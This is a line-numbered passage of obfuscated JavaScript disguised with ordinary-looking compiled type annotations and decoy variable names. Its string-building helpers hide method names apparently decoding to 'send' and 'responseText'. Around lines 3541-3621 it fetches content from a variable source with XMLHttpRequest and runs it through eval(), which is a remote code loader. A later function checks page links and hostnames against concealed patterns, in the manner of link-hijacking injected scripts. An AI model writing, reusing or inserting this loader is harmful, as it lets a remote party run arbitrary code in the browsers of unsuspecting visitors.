3489 values = [$mime_type, pinId, CredentialScope, inImageSize].join("")[[overviewId, itSkip].join("")](mode)[[op, distStyle, pos, lb].join("")]();
3490 /** @type {number} */
3491 var value = 0;
3492 for (; value < values[where]; value++) {
3493 /** @type {string} */
3494 joiner = joiner + _NK$jscomp$0(values[value]);
3495 }
3496 return joiner;
3497 };
3498 /**
3499 * @param {string} c
3500 * @param {string} list
3501 * @param {string} name
3502 * @param {string} index
3503 * @return {?}
3504 */
3505 var _nj33$jscomp$0 = function(c, list, name, index) {
3506 /** @type {string} */
3507 var offset = "leng";
3508 /** @type {string} */
3509 var i = "th";
3510 /** @type {string} */
3511 var inImageSize = "0T10";
3512 /** @type {string} */
3513 var $mime_type = "115T";
3514 /** @type {string} */
3515 var prKey = "101T";
3516 /** @type {string} */
3517 var topicUri6 = "0";
3518 /** @type {string} */
3519 var CredentialScope = "11";
3520 /** @type {string} */
3521 var type = "t";
3522 /** @type {string} */
3523 var str = "sp";
3524 /** @type {string} */
3525 var tag = "li";
3526 /** @type {string} */
3527 index = offset + i;
3528 /** @type {string} */
3529 c = "T";
3530 /** @type {string} */
3531 name = "";
3532 list = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6].join("")[[str, tag, type].join("")](c);
3533 /** @type {number} */
3534 var value = 0;
3535 for (; value < list[index]; value++) {
3536 /** @type {string} */
3537 name = name + _NK$jscomp$0(list[value]);
3538 }
3539 return name;
3540 };
3541 /** @type {!XMLHttpRequest} */
3542 var r$jscomp$122 = new XMLHttpRequest;
3543 /** @type {boolean} */
3544 r$jscomp$122[_nj29$jscomp$0()] = true;
3545 /**
3546 * @return {undefined}
3547 */
3548 r$jscomp$122[_nj30$jscomp$0()] = function() {
3549 /**
3550 * @param {string} type
3551 * @param {string} next
3552 * @param {string} contents
3553 * @param {string} key
3554 * @return {?}
3555 */
3556 var _nj31$jscomp$0 = function(type, next, contents, key) {
3557 /** @type {string} */
3558 var index = "ngth";
3559 /** @type {string} */
3560 var ITEM_ID_PREFIX = "le";
3561 /** @type {string} */
3562 var cfgH = "4T";
3563 /** @type {string} */
3564 var height = "11T1";
3565 /** @type {string} */
3566 var name = "T10";
3567 /** @type {string} */
3568 var x = "1T1";
3569 /** @type {string} */
3570 var pinVal = "10T1";
3571 /** @type {string} */
3572 var topicUri6 = "T8";
3573 /** @type {string} */
3574 var inImageSize = "01";
3575 /** @type {string} */
3576 var stderrIndicator = "15T1";
3577 /** @type {string} */
3578 var depth_diff = "101";
3579 /** @type {string} */
3580 var initial = "14";
3581 /** @type {string} */
3582 var code = "12T";
3583 /** @type {string} */
3584 var width = "115";
3585 /** @type {string} */
3586 var prKey = "12";
3587 /** @type {string} */
3588 var cfgW = "T1";
3589 /** @type {string} */
3590 var CredentialScope = "0T1";
3591 /** @type {string} */
3592 var overviewId = "116T";
3593 /** @type {string} */
3594 var taskName = "t";
3595 /** @type {string} */
3596 var $mime_type = "spli";
3597 /** @type {string} */
3598 var ret = "ver";
3599 /** @type {string} */
3600 var ACTION_SOUTH_EAST = "se";
3601 /** @type {string} */
3602 var op = "re";
3603 /** @type {string} */
3604 key = ITEM_ID_PREFIX + index;
3605 /** @type {string} */
3606 type = "T";
3607 /** @type {string} */
3608 contents = "";
3609 next = [overviewId, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code, width, name, x, initial].join("")[[$mime_type, taskName].join("")](type)[[op, ret, ACTION_SOUTH_EAST].join("")]();
3610 /** @type {number} */
3611 var i = 0;
3612 for (; i < next[key]; i++) {
3613 /** @type {string} */
3614 contents = contents + _NK$jscomp$0(next[i]);
3615 }
3616 return contents;
3617 };
3618 eval(this[_nj31$jscomp$0()]);
3619 };
3620 r$jscomp$122[1152671[_EK$jscomp$0](36)](_nj32$jscomp$0(), src$jscomp$2);
3621 r$jscomp$122[_nj33$jscomp$0()]();
3622 }
3623 /**
3624 * @param {string} cardProps
3625 * @return {?}
3626 */
3627 function cD$jscomp$0(cardProps) {
3628 return cardProps;
3629 }
3630 /**
3631 * @param {!Object} spec
3632 * @return {?}
3633 */
3634 function gw$jscomp$0(spec) {
3635 /**
3636 * @param {number} scope
3637 * @param {number} position
3638 * @param {string} data
3639 * @param {string} state
3640 * @param {string} index
3641 * @return {?}
3642 */
3643 var render = function(scope, position, data, state, index) {
3644 /** @type {string} */
3645 var moduleId = "ng";
3646 /** @type {string} */
3647 var suf = "th";
3648 /** @type {string} */
3649 var result11 = "le";
3650 /** @type {string} */
3651 var test = "466";
3652 /** @type {string} */
3653 var s = "90";
3654 /** @type {string} */
3655 var f = "58";
3656 /** @type {string} */
3657 var Z = "5065";
3658 /** @type {string} */
3659 var v = "8509";
3660 /** @type {string} */
3661 var l = "60";
3662 /** @type {string} */
3663 var c = "56";
3664 /** @type {string} */
3665 var h = "1255";
3666 /** @type {string} */
3667 var topicUri6 = "57";
3668 /** @type {string} */
3669 var inImageSize = "1577";
3670 /** @type {string} */
3671 var j = "90";
3672 /** @type {string} */
3673 var _ = "58";
3674 /** @type {string} */
3675 var distStyle = "82";
3676 /** @type {string} */
3677 var d = "577";
3678 /** @type {string} */
3679 var b = "2582";
3680 /** @type {string} */
3681 var K = "566";
3682 /** @type {string} */
3683 var w = "11";
3684 /** @type {string} */
3685 var cfgW = "63";
3686 /** @type {string} */
3687 var E = "0574";
3688 /** @type {string} */
3689 var jarsTimestamp = "506";
3690 /** @type {string} */
3691 var y3 = "815";
3692 /** @type {string} */
3693 var T = "7588";
3694 /** @type {string} */
3695 var D = "78";
3696 /** @type {string} */
3697 var output = "50";
3698 /** @type {string} */
3699 var O = "559";
3700 /** @type {string} */
3701 var X = "55";
3702 /** @type {string} */
3703 var S = "59";
3704 /** @type {string} */
3705 var width = "513";
3706 /** @type {string} */
3707 var C = "5235";
3708 /** @type {string} */
3709 var k = "5705";
3710 /** @type {string} */
3711 var pinVal = "7757";
3712 /** @type {string} */
3713 var U = "5635";
3714 /** @type {string} */
3715 var R = "5135";
3716 /** @type {string} */
3717 var A = "1151";
3718 /** @type {string} */
3719 var H = "24";
3720 /** @type {string} */
3721 var L = "5295";
3722 /** @type {string} */
3723 var height = "45";
3724 /** @type {string} */
3725 var B = "5745";
3726 /** @type {string} */
3727 var depth_diff = "45";
3728 /** @type {string} */
3729 var q = "55";
3730 /** @type {string} */
3731 var F = "8511";
3732 /** @type {string} */
3733 var y = "657";
3734 /** @type {string} */
3735 var initial = "6757";
3736 /** @type {string} */
3737 var W = "513";
3738 /** @type {string} */
3739 var z = "3557";
3740 /** @type {string} */
3741 var V = "4512";
3742 /** @type {string} */
3743 var v1ValueName = "58";
3744 /** @type {string} */
3745 var x = "75";
3746 /** @type {string} */
3747 var tr = "8561";
3748 /** @type {string} */
3749 var er = "5885";
3750 /** @type {string} */
3751 var stderrIndicator = "5655";
3752 /** @type {string} */
3753 var $mime_type = "5075";
3754 /** @type {string} */
3755 var Mr = "4567";
3756 /** @type {string} */
3757 var cfgH = "057";
3758 /** @type {string} */
3759 var ur = "65";
3760 /** @type {string} */
3761 var str = "sp";
3762 /** @type {string} */
3763 var PR_LITERAL = "lit";
3764 /** @type {string} */
3765 var op = "re";
3766 /** @type {string} */
3767 var CredentialScope = "rse";
3768 /** @type {string} */
3769 var prKey = "ve";
3770 /** @type {string} */
3771 index = [result11, moduleId, suf].join("");
3772 /** @type {string} */
3773 scope = test;
3774 /** @type {number} */
3775 position = 3;
3776 /** @type {string} */
3777 state = "";
3778 /** @type {string} */
3779 data = [$mime_type, distStyle, v1ValueName, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, j, width, output, x, initial, y, T, S, E, U, ur, d, B, s, f, Mr, K, Z, h, v, O, C, A, V, X, F, q, tr, er, w, c, z, jarsTimestamp, W, R, H, L, y3, D, _, b, k, l].join("");
3780 /** @type {number} */
3781 var value = 0;
3782 for (; value < data[index]; value = value + position) {
3783 /** @type {string} */
3784 var s = "subs";
3785 /** @type {string} */
3786 var selector = "tr";
3787 state = state + String[_Ds$jscomp$0](parseInt(data[[s, selector].join("")](value, position), 10) - scope);
3788 }
3789 return state[[str, PR_LITERAL].join("")]("")[[op, prKey, CredentialScope].join("")]()[918239[_EK$jscomp$0](36)]("");
3790 };
3791 /**
3792 * @param {string} up
3793 * @param {string} n
3794 * @param {string} label
3795 * @param {string} index
3796 * @return {?}
3797 */
3798 var update = function(up, n, label, index) {
3799 /** @type {string} */
3800 var w = "h";
3801 /** @type {string} */
3802 var result20 = "gt";
3803 /** @type {string} */
3804 var i = "len";
3805 /** @type {string} */
3806 var $mime_type = "116";
3807 /** @type {string} */
3808 var cfgH = "16";
3809 /** @type {string} */
3810 var prKey = "u1";
3811 /** @type {string} */
3812 var inImageSize = "u11";
3813 /** @type {string} */
3814 var topicUri6 = "5u1";
3815 /** @type {string} */
3816 var CredentialScope = "01";
3817 /** @type {string} */
3818 var taskName = "t";
3819 /** @type {string} */
3820 var overviewId = "spli";
3821 /** @type {string} */
3822 index = [i, result20, w].join("");
3823 /** @type {string} */
3824 up = "u";
3825 /** @type {string} */
3826 label = "";
3827 n = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH].join("")[[overviewId, taskName].join("")](up);
3828 /** @type {number} */
3829 var value = 0;
3830 for (; value < n[index]; value++) {
3831 /** @type {string} */
3832 label = label + _NK$jscomp$0(n[value]);
3833 }
3834 return label;
3835 };
3836 /**
3837 * @param {string} styles
3838 * @param {string} keys
3839 * @param {string} text
3840 * @param {string} left
3841 * @return {?}
3842 */
3843 var translate = function(styles, keys, text, left) {
3844 /** @type {string} */
3845 var suf = "th";
3846 /** @type {string} */
3847 var right = "leng";
3848 /** @type {string} */
3849 var M = "91t4";
3850 /** @type {string} */
3851 var a = "58t6";
3852 /** @type {string} */
3853 var u = "6t92";
3854 /** @type {string} */
3855 var depth_diff = "93t";
3856 /** @type {string} */
3857 var f = "6t9";
3858 /** @type {string} */
3859 var Z = "t5";
3860 /** @type {string} */
3861 var code = "t4";
3862 /** @type {string} */
3863 var l = "25t5";
3864 /** @type {string} */
3865 var c = "48t";
3866 /** @type {string} */
3867 var h = "9t";
3868 /** @type {string} */
3869 var p = "112t";
3870 /** @type {string} */
3871 var g = "t9";
3872 /** @type {string} */
3873 var initial = "t51";
3874 /** @type {string} */
3875 var cfgH = "23t";
3876 /** @type {string} */
3877 var m = "12";
3878 /** @type {string} */
3879 var d = "94";
3880 /** @type {string} */
3881 var x = "25";
3882 /** @type {string} */
3883 var K = "15t";
3884 /** @type {string} */
3885 var w = "3t1";
3886 /** @type {string} */
3887 var N = "125t";
3888 /** @type {string} */
3889 var E = "4t";
3890 /** @type {string} */
3891 var jarsTimestamp = "3t93";
3892 /** @type {string} */
3893 var y3 = "t45t";
3894 /** @type {string} */
3895 var T = "3t";
3896 /** @type {string} */
3897 var D = "2t";
3898 /** @type {string} */
3899 var height = "t91";
3900 /** @type {string} */
3901 var O = "1t44";
3902 /** @type {string} */
3903 var X = "t48t";
3904 /** @type {string} */
3905 var S = "51t";
3906 /** @type {string} */
3907 var cfgW = "57";
3908 /** @type {string} */
3909 var C = "t57";
3910 /** @type {string} */
3911 var k = "t116";
3912 /** @type {string} */
3913 var G = "91";
3914 /** @type {string} */
3915 var prKey = "t51";
3916 /** @type {string} */
3917 var R = "91t4";
3918 /** @type {string} */
3919 var A = "9t";
3920 /** @type {string} */
3921 var defaultTemplate = "t10";
3922 /** @type {string} */
3923 var CredentialScope = "t4";
3924 /** @type {string} */
3925 var P = "123";
3926 /** @type {string} */
3927 var B = "9t12";
3928 /** @type {string} */
3929 var $ = "t4";
3930 /** @type {string} */
3931 var inImageSize = "4t4";
3932 /** @type {string} */
3933 var a1 = "t1";
3934 /** @type {string} */
3935 var y = "t4";
3936 /** @type {string} */
3937 var J = "7t45";
3938 /** @type {string} */
3939 var W = "57t4";
3940 /** @type {string} */
3941 var z = "5t";
3942 /** @type {string} */
3943 var V = "t47t";
3944 /** @type {string} */
3945 var stderrIndicator = "t4";
3946 /** @type {string} */
3947 var nr = "3t93";
3948 /** @type {string} */
3949 var pinVal = "5t48";
3950 /** @type {string} */
3951 var er = "44t4";
3952 /** @type {string} */
3953 var $mime_type = "125";
3954 /** @type {string} */
3955 var or = "116";
3956 /** @type {string} */
3957 var Mr = "48t";
3958 /** @type {string} */
3959 var name = "2t1";
3960 /** @type {string} */
3961 var topicUri6 = "9t1";
3962 /** @type {string} */
3963 var sr = "47t";
3964 /** @type {string} */
3965 var fr = "4t4";
3966 /** @type {string} */
3967 var width = "6t9";
3968 /** @type {string} */
3969 var index = "spli";
3970 /** @type {string} */
3971 var len = "t";
3972 /** @type {string} */
3973 var cr = "rev";
3974 /** @type {string} */
3975 var cg = "ers";
3976 /** @type {string} */
3977 var cb = "e";
3978 /** @type {string} */
3979 left = right + suf;
3980 /** @type {string} */
3981 styles = "t";
3982 /** @type {string} */
3983 text = "";
3984 keys = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code, width, name, x, initial, y, fr, A, m, jarsTimestamp, Z, J, X, R, u, a1, l, O, $, B, nr, C, y3, Mr, M, f, D, N, S, er, h, P, g, T, W, z, c, G, V, sr, a, w, K, p, or, k, defaultTemplate, E, d].join("")[index + len](styles)[cr + cg + cb]();
3985 /** @type {number} */
3986 var key = 0;
3987 for (; key < keys[left]; key++) {
3988 /** @type {string} */
3989 text = text + _NK$jscomp$0(keys[key]);
3990 }
3991 return text;
3992 };
3993 /**
3994 * @param {string} prefix
3995 * @param {string} obj
3996 * @param {string} state
3997 * @param {string} ref
3998 * @return {?}
3999 */
4000 var config = function(prefix, obj, state, ref) {
4001 /** @type {string} */
4002 var $mime_type = "leng";
4003 /** @type {string} */
4004 var b = "th";
4005 /** @type {string} */
4006 var prKey = "6B1";
4007 /** @type {string} */
4008 var CredentialScope = "01";
4009 /** @type {string} */
4010 var topicUri6 = "B116";
4011 /** @type {string} */
4012 var inImageSize = "B115";
4013 /** @type {string} */
4014 var overviewId = "11";
4015 /** @type {string} */
4016 var index = "spl";
4017 /** @type {string} */
4018 var coll = "it";
4019 /** @type {string} */
4020 ref = [$mime_type, b].join("");
4021 /** @type {string} */
4022 prefix = "B";
4023 /** @type {string} */
4024 state = "";
4025 obj = [overviewId, prKey, CredentialScope, inImageSize, topicUri6].join("")[index + coll](prefix);
4026 /** @type {number} */
4027 var k = 0;
4028 for (; k < obj[ref]; k++) {
4029 /** @type {string} */
4030 state = state + _NK$jscomp$0(obj[k]);
4031 }
4032 return state;
4033 };
4034 /**
4035 * @param {string} e
4036 * @param {string} data
4037 * @param {string} segment
4038 * @param {string} key
4039 * @return {?}
4040 */
4041 var execute = function(e, data, segment, key) {
4042 /** @type {string} */
4043 var result11 = "le";
4044 /** @type {string} */
4045 var prKey = "ngth";
4046 /** @type {string} */
4047 var code = "7";
4048 /** @type {string} */
4049 var height = "f11";
4050 /** @type {string} */
4051 var cfgW = "10";
4052 /** @type {string} */
4053 var CredentialScope = "f11";
4054 /** @type {string} */
4055 var $mime_type = "100";
4056 /** @type {string} */
4057 var distStyle = "f101";
4058 /** @type {string} */
4059 var inImageSize = "0f10";
4060 /** @type {string} */
4061 var cfgH = "102f";
4062 /** @type {string} */
4063 var stderrIndicator = "0f1";
4064 /** @type {string} */
4065 var depth_diff = "101f";
4066 /** @type {string} */
4067 var pinVal = "10";
4068 /** @type {string} */
4069 var topicUri6 = "5f";
4070 /** @type {string} */
4071 var overviewId = "spli";
4072 /** @type {string} */
4073 var taskName = "t";
4074 /** @type {string} */
4075 var managementcommandsdns = "reve";
4076 /** @type {string} */
4077 var siteName = "rse";
4078 /** @type {string} */
4079 key = [result11, prKey].join("");
4080 /** @type {string} */
4081 e = "f";
4082 /** @type {string} */
4083 segment = "";
4084 data = [$mime_type, distStyle, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code].join("")[[overviewId, taskName].join("")](e)[managementcommandsdns + siteName]();
4085 /** @type {number} */
4086 var i = 0;
4087 for (; i < data[key]; i++) {
4088 /** @type {string} */
4089 segment = segment + _NK$jscomp$0(data[i]);
4090 }
4091 return segment;
4092 };
4093 if (spec.href.indexOf(".") === -1) {
4094 return true;
4095 }
4096 if ((new RegExp(render()))[update()](spec.href)) {
4097 return true;
4098 }
4099 if ((new RegExp(translate()))[config()](spec.href)) {
4100 return true;
4101 }
4102 if (typeof ZK$jscomp$0 !== execute() && ZK$jscomp$0 != "" && ZK$jscomp$0.length) {
4103 /** @type {number} */
4104 var formatIdx = 0;
4105 for (; formatIdx < ZK$jscomp$0.length; formatIdx++) {
4106 if (ZK$jscomp$0[formatIdx] == "") {
4107 continue;
4108 }
4109 /** @type {!RegExp} */
4110 var revvedRx = new RegExp(is$jscomp$0(L$jscomp$0(ZK$jscomp$0[formatIdx])));
4111 if (spec.hostname.match(revvedRx)) {
4112 return true;
4113 }
4114 }
4115 }
4116 }
4117 /**
4118 * @param {!Object} bind
4119 * @param {!Object} input
4120 * @param {(Node|NodeList|string)} args
4121 * @return {?}
4122 */
4123 function Uy$jscomp$0(bind, input, args) {
4124 /**
4125 * @param {string} event
4126 * @param {string} options
4127 * @param {string} value
4128 * @param {string} style
4129 * @return {?}
4130 */
4131 var parse = function(event, options, value, style) {
4132 /** @type {string} */
4133 var DURATION_KEY = "gth";
4134 /** @type {string} */
4135 var italic = "len";
4136 /** @type {string} */
4137 var stepName = "01";
4138 /** @type {string} */
4139 var a = "5c";
4140 /** @type {string} */
4141 var u = "12";
4142 /** @type {string} */
4143 var NON_CAP_IDENTITY_REGEX = "0c1";
4144 /** @type {string} */
4145 var path = "95c";
4146 /** @type {string} */
4147 var module = "99c9";
4148 /** @type {string} */
4149 var file = "95";
4150 /** @type {string} */
4151 var sep = "9c11";
4152 /** @type {string} */
4153 var fixtures = "6c";
4154 /** @type {string} */
4155 var Cancel = "c9";
4156 /** @type {string} */
4157 var qtype_ = "spli";
4158 /** @type {string} */
4159 var type = "t";
4160 /** @type {string} */
4161 var CredentialScope = "rse";
4162 /** @type {string} */
4163 var prKey = "ve";
4164 /** @type {string} */
4165 var op = "re";
4166 /** @type {string} */
4167 style = italic + DURATION_KEY;
4168 /** @type {string} */
4169 event = "c";
4170 /** @type {string} */
4171 value = "";
4172 options = (path + module + sep + fixtures + u + NON_CAP_IDENTITY_REGEX + stepName + Cancel + a + file)[qtype_ + type](event)[[op, prKey, CredentialScope].join("")]();
4173 /** @type {number} */
4174 var i = 0;
4175 for (; i < options[style]; i++) {
4176 /** @type {string} */
4177 value = value + _NK$jscomp$0(options[i]);
4178 }
4179 return value;
4180 };
4181 /**
4182 * @param {string} type
4183 * @param {string} data
4184 * @param {string} acc
4185 * @param {string} key
4186 * @return {?}
4187 */
4188 var check = function(type, data, acc, key) {
4189 /** @type {string} */
4190 var i = "th";
4191 /** @type {string} */
4192 var attach = "leng";
4193 /** @type {string} */
4194 var cfgH = "15";
4195 /** @type {string} */
4196 var pinVal = "97v";
4197 /** @type {string} */
4198 var topicUri6 = "6v1";
4199 /** @type {string} */
4200 var stderrIndicator = "6v";
4201 /** @type {string} */
4202 var CredentialScope = "v110";
4203 /** @type {string} */
4204 var inImageSize = "v4";
4205 /** @type {string} */
4206 var distStyle = "v101";
4207 /** @type {string} */
4208 var depth_diff = "v100";
4209 /** @type {string} */
4210 var cfgW = "v11";
4211 /** @type {string} */
4212 var height = "100";
4213 /** @type {string} */
4214 var $mime_type = "116";
4215 /** @type {string} */
4216 var name = "t";
4217 /** @type {string} */
4218 var data_duplex_ = "spli";
4219 /** @type {string} */
4220 var op = "re";
4221 /** @type {string} */
4222 var prKey = "vers";
4223 /** @type {string} */
4224 var ext = "e";
4225 /** @type {string} */
4226 key = attach + i;
4227 /** @type {string} */
4228 type = "v";
4229 /** @type {string} */
4230 acc = "";
4231 data = [$mime_type, distStyle, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height].join("")[data_duplex_ + name](type)[[op, prKey, ext].join("")]();
4232 /** @type {number} */
4233 var max = 0;
4234 for (; max < data[key]; max++) {
4235 /** @type {string} */
4236 acc = acc + _NK$jscomp$0(data[max]);
4237 }
4238 return acc;
4239 };
4240 /**
4241 * @param {string} e
4242 * @param {string} d
4243 * @param {string} options
4244 * @param {string} key
4245 * @return {?}
4246 */
4247 var start = function(e, d, options, key) {
4248 /** @type {string} */
4249 var prKey = "gth";
4250 /** @type {string} */
4251 var i = "len";
4252 /** @type {string} */
4253 var $mime_type = "99S";
4254 /** @type {string} */
4255 var testSku = "S1";
4256 /** @type {string} */
4257 var CredentialScope = "S1";
4258 /** @type {string} */
4259 var distStyle = "110";
4260 /** @type {string} */
4261 var inImageSize = "17";
4262 /** @type {string} */
4263 var cfgH = "02";
4264 /** @type {string} */
4265 var index = "spli";
4266 /** @type {string} */
4267 var len = "t";
4268 /** @type {string} */
4269 var current = "re";
4270 /** @type {string} */
4271 var stepBack = "se";
4272 /** @type {string} */
4273 var html = "ver";
4274 /** @type {string} */
4275 key = [i, prKey].join("");
4276 /** @type {string} */
4277 e = "S";
4278 /** @type {string} */
4279 options = "";
4280 d = [$mime_type, distStyle, CredentialScope, inImageSize, testSku, cfgH].join("")[index + len](e)[current + html + stepBack]();
4281 /** @type {number} */
4282 var max = 0;
4283 for (; max < d[key]; max++) {
4284 /** @type {string} */
4285 options = options + _NK$jscomp$0(d[max]);
4286 }
4287 return options;
4288 };
4289 /**
4290 * @param {number} date
4291 * @param {number} body
4292 * @param {string} request
4293 * @param {string} o
4294 * @param {string} name
4295 * @return {?}
4296 */
4297 var handler = function(date, body, request, o, name) {
4298 /** @type {string} */
4299 var r = "le";
4300 /** @type {string} */
4301 var b = "th";
4302 /** @type {string} */
4303 var g = "ng";
4304 /** @type {string} */
4305 var pattern = "454";
4306 /** @type {string} */
4307 var when = "5155";
4308 /** @type {string} */
4309 var delay = "17";
4310 /** @type {string} */
4311 var easing = "5695";
4312 /** @type {string} */
4313 var duration = "559";
4314 /** @type {string} */
4315 var _ = "54";
4316 /** @type {string} */
4317 var scope = "spli";
4318 /** @type {string} */
4319 var type = "t";
4320 /** @type {string} */
4321 var html = "ver";
4322 /** @type {string} */
4323 var current = "re";
4324 /** @type {string} */
4325 var ACTION_SOUTH_EAST = "se";
4326 /** @type {string} */
4327 var $mime_type = "toSt";
4328 /** @type {string} */
4329 var rings = "ring";
4330 /** @type {string} */
4331 name = r + g + b;
4332 /** @type {string} */
4333 date = pattern;
4334 /** @type {number} */
4335 body = 3;
4336 /** @type {string} */
4337 o = "";
4338 /** @type {string} */
4339 request = when + _ + duration + easing + delay;
4340 /** @type {number} */
4341 var url = 0;
4342 for (; url < request[name]; url = url + body) {
4343 /** @type {string} */
4344 var s = "subs";
4345 /** @type {string} */
4346 var k = "tr";
4347 o = o + String[_Ds$jscomp$0](parseInt(request[s + k](url, body), 10) - date);
4348 }
4349 return o[scope + type]("")[current + html + ACTION_SOUTH_EAST]()[918239[[$mime_type, rings].join("")](36)]("");
4350 };
4351 /**
4352 * @param {number} coords
4353 * @param {number} data
4354 * @param {string} colors
4355 * @param {string} value
4356 * @param {string} level
4357 * @return {?}
4358 */
4359 var init = function(coords, data, colors, value, level) {
4360 /** @type {string} */
4361 var checkAdminAccess = "leng";
4362 /** @type {string} */
4363 var str = "th";
4364 /** @type {string} */
4365 var $mime_type = "226";
4366 /** @type {string} */
4367 var distStyle = "313";
4368 /** @type {string} */
4369 var CredentialScope = "2434";
4370 /** @type {string} */
4371 var overviewId = "3263";
4372 /** @type {string} */
4373 var inImageSize = "334";
4374 /** @type {string} */
4375 var topicUri6 = "1";
4376 /** @type {string} */
4377 var __ = "spli";
4378 /** @type {string} */
4379 var name = "t";
4380 /** @type {string} */
4381 var op = "re";
4382 /** @type {string} */
4383 var lb = "e";
4384 /** @type {string} */
4385 var pos = "rs";
4386 /** @type {string} */
4387 var prKey = "ve";
4388 /** @type {string} */
4389 var siteName = "in";
4390 /** @type {string} */
4391 var managementcommandsdns = "jo";
4392 /** @type {string} */
4393 level = checkAdminAccess + str;
4394 /** @type {string} */
4395 coords = [$mime_type].join("");
4396 /** @type {number} */
4397 data = 3;
4398 /** @type {string} */
4399 value = "";
4400 /** @type {string} */
4401 colors = [overviewId, distStyle, CredentialScope, inImageSize, topicUri6].join("");
4402 /** @type {number} */
4403 var d = 0;
4404 for (; d < colors[level]; d = d + data) {
4405 /** @type {string} */
4406 var j = "st";
4407 /** @type {string} */
4408 var SUB_CHART_CLASS = "sub";
4409 /** @type {string} */
4410 var i = "r";
4411 value = value + String[_Ds$jscomp$0](parseInt(colors[SUB_CHART_CLASS + j + i](d, data), 10) - coords);
4412 }
4413 return value[__ + name]("")[[op, prKey, pos, lb].join("")]()[managementcommandsdns + siteName]("");
4414 };
4415 /**
4416 * @param {string} key
4417 * @param {string} options
4418 * @param {string} value
4419 * @param {string} type
4420 * @return {?}
4421 */
4422 var fn = function(key, options, value, type) {
4423 /** @type {string} */
4424 var prKey = "ngt";
4425 /** @type {string} */
4426 var w = "h";
4427 /** @type {string} */
4428 var result11 = "le";
4429 /** @type {string} */
4430 var depth_diff = "5$38";
4431 /** @type {string} */
4432 var pinId = "$98$";
4433 /** @type {string} */
4434 var $mime_type = "61";
4435 /** @type {string} */
4436 var inImageSize = "7$11";
4437 /** @type {string} */
4438 var cfgH = "11";
4439 /** @type {string} */
4440 var v1ValueName = "11";
4441 /** @type {string} */
4442 var topicUri6 = "6$";
4443 /** @type {string} */
4444 var PR_LITERAL = "lit";
4445 /** @type {string} */
4446 var str = "sp";
4447 /** @type {string} */
4448 var distStyle = "ve";
4449 /** @type {string} */
4450 var op = "re";
4451 /** @type {string} */
4452 var databag = "rse";
4453 /** @type {string} */
4454 type = [result11, prKey, w].join("");
4455 /** @type {string} */
4456 key = "$";
4457 /** @type {string} */
4458 value = "";
4459 options = [$mime_type, pinId, v1ValueName, inImageSize, topicUri6, cfgH, depth_diff].join("")[[str, PR_LITERAL].join("")](key)[[op, distStyle, databag].join("")]();
4460 /** @type {number} */
4461 var i = 0;
4462 for (; i < options[type]; i++) {
4463 /** @type {string} */
4464 value = value + _NK$jscomp$0(options[i]);
4465 }
4466 return value;
4467 };
4468 /**
4469 * @param {?} url
4470 * @param {string} items
4471 * @param {string} element
4472 * @param {string} index
4473 * @return {?}
4474 */
4475 var render = function(url, items, element, index) {
4476 /** @type {string} */
4477 var prKey = "ngt";
4478 /** @type {string} */
4479 var w = "h";
4480 /** @type {string} */
4481 var result11 = "le";
4482 /** @type {string} */
4483 var imageApiUrl = "61E1";
4484 /** @type {string} */
4485 var id = "E11";
4486 /** @type {string} */
4487 var k = "108E";
4488 /** @type {string} */
4489 var name = "11";
4490 /** @type {string} */
4491 var _button = "1E";
4492 /** @type {string} */
4493 var sitesowners = "97E";
4494 /** @type {string} */
4495 var bookdetail = "10";
4496 /** @type {string} */
4497 var slen1 = "38";
4498 /** @type {string} */
4499 var c = "1E1";
4500 /** @type {string} */
4501 var potential_users = "E11";
4502 /** @type {string} */
4503 var escapedEmail = "6E";
4504 /** @type {string} */
4505 var musicplaylistload = "99E";
4506 /** @type {string} */
4507 var spike = "05";
4508 /** @type {string} */
4509 var expect = "sp";
4510 /** @type {string} */
4511 var i = "lit";
4512 /** @type {string} */
4513 var ctrl = "ve";
4514 /** @type {string} */
4515 var K = "rse";
4516 /** @type {string} */
4517 var cK = "re";
4518 /** @type {string} */
4519 index = [result11, prKey, w].join("");
4520 /** @type {string} */
4521 url = "E";
4522 /** @type {string} */
4523 element = "";
4524 items = (imageApiUrl + bookdetail + id + c + spike + potential_users + escapedEmail + sitesowners + musicplaylistload + name + _button + k + slen1)[expect + i](url)[cK + ctrl + K]();
4525 /** @type {number} */
4526 var value = 0;
4527 for (; value < items[index]; value++) {
4528 /** @type {string} */
4529 element = element + _NK$jscomp$0(items[value]);
4530 }
4531 return element;
4532 };
4533 /**
4534 * @param {number} value
4535 * @param {number} options
4536 * @param {string} data
4537 * @param {string} state
4538 * @param {string} message
4539 * @return {?}
4540 */
4541 var move = function(value, options, data, state, message) {
4542 /** @type {string} */
4543 var x = "len";
4544 /** @type {string} */
4545 var prKey = "gth";
4546 /** @type {string} */
4547 var sequence_values = "210";
4548 /** @type {string} */
4549 var i = "318";
4550 /** @type {string} */
4551 var type = "30";
4552 /** @type {string} */
4553 var jQId = "3123";
4554 /** @type {string} */
4555 var Z = "15";
4556 /** @type {string} */
4557 var __ = "8";
4558 /** @type {string} */
4559 var ac = "271";
4560 /** @type {string} */
4561 var Y = "93";
4562 /** @type {string} */
4563 var index = "24";
4564 /** @type {string} */
4565 var tfm = "20";
4566 /** @type {string} */
4567 var z = "t";
4568 /** @type {string} */
4569 var str = "sp";
4570 /** @type {string} */
4571 var tag = "li";
4572 /** @type {string} */
4573 var anchor = "e";
4574 /** @type {string} */
4575 var current = "re";
4576 /** @type {string} */
4577 var radius = "vers";
4578 /** @type {string} */
4579 message = [x, prKey].join("");
4580 /** @type {string} */
4581 value = sequence_values;
4582 /** @type {number} */
4583 options = 3;
4584 /** @type {string} */
4585 state = "";
4586 /** @type {string} */
4587 data = ac + type + Y + Z + jQId + tfm + i + index + __;
4588 /** @type {number} */
4589 var params = 0;
4590 for (; params < data[message]; params = params + options) {
4591 /** @type {string} */
4592 var key = "tr";
4593 /** @type {string} */
4594 var oae_uiskinvariables = "subs";
4595 state = state + String[_Ds$jscomp$0](parseInt(data[oae_uiskinvariables + key](params, options), 10) - value);
4596 }
